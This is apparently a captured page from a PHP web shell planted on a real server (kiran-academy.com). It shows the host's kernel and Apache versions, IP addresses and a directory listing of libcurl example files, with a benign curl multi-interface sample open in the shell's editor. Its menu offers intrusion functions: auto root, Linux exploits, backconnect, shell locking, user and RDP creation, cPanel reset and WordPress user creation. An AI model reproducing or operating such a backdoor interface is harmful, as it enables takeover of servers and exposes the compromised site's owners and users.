Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libcurl-devel-7.29.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
10-at-a-time.c
5.11
KB
-rw-r--r--
ABI
2.67
KB
-rw-r--r--
CONTRIBUTE
11.79
KB
-rw-r--r--
INTERNALS
20.75
KB
-rw-r--r--
Makefile.example
1.86
KB
-rw-r--r--
anyauthput.c
4.99
KB
-rw-r--r--
cacertinmem.c
6.61
KB
-rw-r--r--
certinfo.c
2.31
KB
-rw-r--r--
chkspeed.c
5.63
KB
-rw-r--r--
cookie_interface.c
3.63
KB
-rw-r--r--
curlgtk.c
2.89
KB
-rw-r--r--
curlx.c
15.68
KB
-rw-r--r--
debug.c
4.02
KB
-rw-r--r--
evhiperfifo.c
11.89
KB
-rw-r--r--
externalsocket.c
4.4
KB
-rw-r--r--
fileupload.c
2.6
KB
-rw-r--r--
fopen.c
13.07
KB
-rw-r--r--
ftp-wildcard.c
4.12
KB
-rw-r--r--
ftpget.c
2.81
KB
-rw-r--r--
ftpgetinfo.c
2.92
KB
-rw-r--r--
ftpgetresp.c
2.51
KB
-rw-r--r--
ftpsget.c
3.09
KB
-rw-r--r--
ftpupload.c
4.54
KB
-rw-r--r--
ftpuploadresume.c
4.75
KB
-rw-r--r--
getinfo.c
1.85
KB
-rw-r--r--
getinmemory.c
3.29
KB
-rw-r--r--
ghiper.c
11.73
KB
-rw-r--r--
hiperfifo.c
11.21
KB
-rw-r--r--
href_extractor.c
2.64
KB
-rw-r--r--
htmltidy.c
3.99
KB
-rw-r--r--
http-post.c
1.92
KB
-rw-r--r--
httpcustomheader.c
2.02
KB
-rw-r--r--
httpput.c
3.65
KB
-rw-r--r--
https.c
2.49
KB
-rw-r--r--
imap.c
1.47
KB
-rw-r--r--
multi-app.c
4.49
KB
-rw-r--r--
multi-debugcallback.c
5.37
KB
-rw-r--r--
multi-double.c
3.34
KB
-rw-r--r--
multi-post.c
4.51
KB
-rw-r--r--
multi-single.c
3.3
KB
-rw-r--r--
multithread.c
2.58
KB
-rw-r--r--
opensslthreadlock.c
2.72
KB
-rw-r--r--
persistant.c
2.08
KB
-rw-r--r--
pop3s.c
2.6
KB
-rw-r--r--
pop3slist.c
2.59
KB
-rw-r--r--
post-callback.c
4.67
KB
-rw-r--r--
postit2.c
3.47
KB
-rw-r--r--
progressfunc.c
2.66
KB
-rw-r--r--
resolve.c
1.77
KB
-rw-r--r--
rtsp.c
8.3
KB
-rw-r--r--
sampleconv.c
3.29
KB
-rw-r--r--
sendrecv.c
3.57
KB
-rw-r--r--
sepheaders.c
2.49
KB
-rw-r--r--
sftpget.c
3.2
KB
-rw-r--r--
simple.c
1.63
KB
-rw-r--r--
simplepost.c
1.78
KB
-rw-r--r--
simplesmtp.c
3.48
KB
-rw-r--r--
simplessl.c
4.46
KB
-rw-r--r--
smooth-gtk-thread.c
6.08
KB
-rw-r--r--
smtp-multi.c
5.74
KB
-rw-r--r--
smtp-tls.c
5.73
KB
-rw-r--r--
synctime.c
12.59
KB
-rw-r--r--
threaded-ssl.c
4.19
KB
-rw-r--r--
url2file.c
2.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : multi-debugcallback.c
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2011, Daniel Stenberg, <daniel@haxx.se>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at http://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ***************************************************************************/ /* This is an example showing the multi interface and the debug callback. */ #include <stdio.h> #include <string.h> /* somewhat unix-specific */ #include <sys/time.h> #include <unistd.h> /* curl stuff */ #include <curl/curl.h> typedef char bool; #define TRUE 1 static void dump(const char *text, FILE *stream, unsigned char *ptr, size_t size, bool nohex) { size_t i; size_t c; unsigned int width=0x10; if(nohex) /* without the hex output, we can fit more on screen */ width = 0x40; fprintf(stream, "%s, %10.10ld bytes (0x%8.8lx)\n", text, (long)size, (long)size); for(i=0; i<size; i+= width) { fprintf(stream, "%4.4lx: ", (long)i); if(!nohex) { /* hex not disabled, show it */ for(c = 0; c < width; c++) if(i+c < size) fprintf(stream, "%02x ", ptr[i+c]); else fputs(" ", stream); } for(c = 0; (c < width) && (i+c < size); c++) { /* check for 0D0A; if found, skip past and start a new line of output */ if (nohex && (i+c+1 < size) && ptr[i+c]==0x0D && ptr[i+c+1]==0x0A) { i+=(c+2-width); break; } fprintf(stream, "%c", (ptr[i+c]>=0x20) && (ptr[i+c]<0x80)?ptr[i+c]:'.'); /* check again for 0D0A, to avoid an extra \n if it's at width */ if (nohex && (i+c+2 < size) && ptr[i+c+1]==0x0D && ptr[i+c+2]==0x0A) { i+=(c+3-width); break; } } fputc('\n', stream); /* newline */ } fflush(stream); } static int my_trace(CURL *handle, curl_infotype type, unsigned char *data, size_t size, void *userp) { const char *text; (void)userp; (void)handle; /* prevent compiler warning */ switch (type) { case CURLINFO_TEXT: fprintf(stderr, "== Info: %s", data); default: /* in case a new one is introduced to shock us */ return 0; case CURLINFO_HEADER_OUT: text = "=> Send header"; break; case CURLINFO_DATA_OUT: text = "=> Send data"; break; case CURLINFO_HEADER_IN: text = "<= Recv header"; break; case CURLINFO_DATA_IN: text = "<= Recv data"; break; } dump(text, stderr, data, size, TRUE); return 0; } /* * Simply download a HTTP file. */ int main(void) { CURL *http_handle; CURLM *multi_handle; int still_running; /* keep number of running handles */ http_handle = curl_easy_init(); /* set the options (I left out a few, you'll get the point anyway) */ curl_easy_setopt(http_handle, CURLOPT_URL, "http://www.example.com/"); curl_easy_setopt(http_handle, CURLOPT_DEBUGFUNCTION, my_trace); curl_easy_setopt(http_handle, CURLOPT_VERBOSE, 1L); /* init a multi stack */ multi_handle = curl_multi_init(); /* add the individual transfers */ curl_multi_add_handle(multi_handle, http_handle); /* we start some action by calling perform right away */ curl_multi_perform(multi_handle, &still_running); do { struct timeval timeout; int rc; /* select() return code */ fd_set fdread; fd_set fdwrite; fd_set fdexcep; int maxfd = -1; long curl_timeo = -1; FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_ZERO(&fdexcep); /* set a suitable timeout to play around with */ timeout.tv_sec = 1; timeout.tv_usec = 0; curl_multi_timeout(multi_handle, &curl_timeo); if(curl_timeo >= 0) { timeout.tv_sec = curl_timeo / 1000; if(timeout.tv_sec > 1) timeout.tv_sec = 1; else timeout.tv_usec = (curl_timeo % 1000) * 1000; } /* get file descriptors from the transfers */ curl_multi_fdset(multi_handle, &fdread, &fdwrite, &fdexcep, &maxfd); /* In a real-world program you OF COURSE check the return code of the function calls. On success, the value of maxfd is guaranteed to be greater or equal than -1. We call select(maxfd + 1, ...), specially in case of (maxfd == -1), we call select(0, ...), which is basically equal to sleep. */ rc = select(maxfd+1, &fdread, &fdwrite, &fdexcep, &timeout); switch(rc) { case -1: /* select error */ still_running = 0; printf("select() returns error, this is badness\n"); break; case 0: default: /* timeout or readable/writable sockets */ curl_multi_perform(multi_handle, &still_running); break; } } while(still_running); curl_multi_cleanup(multi_handle); curl_easy_cleanup(http_handle); return 0; }
Close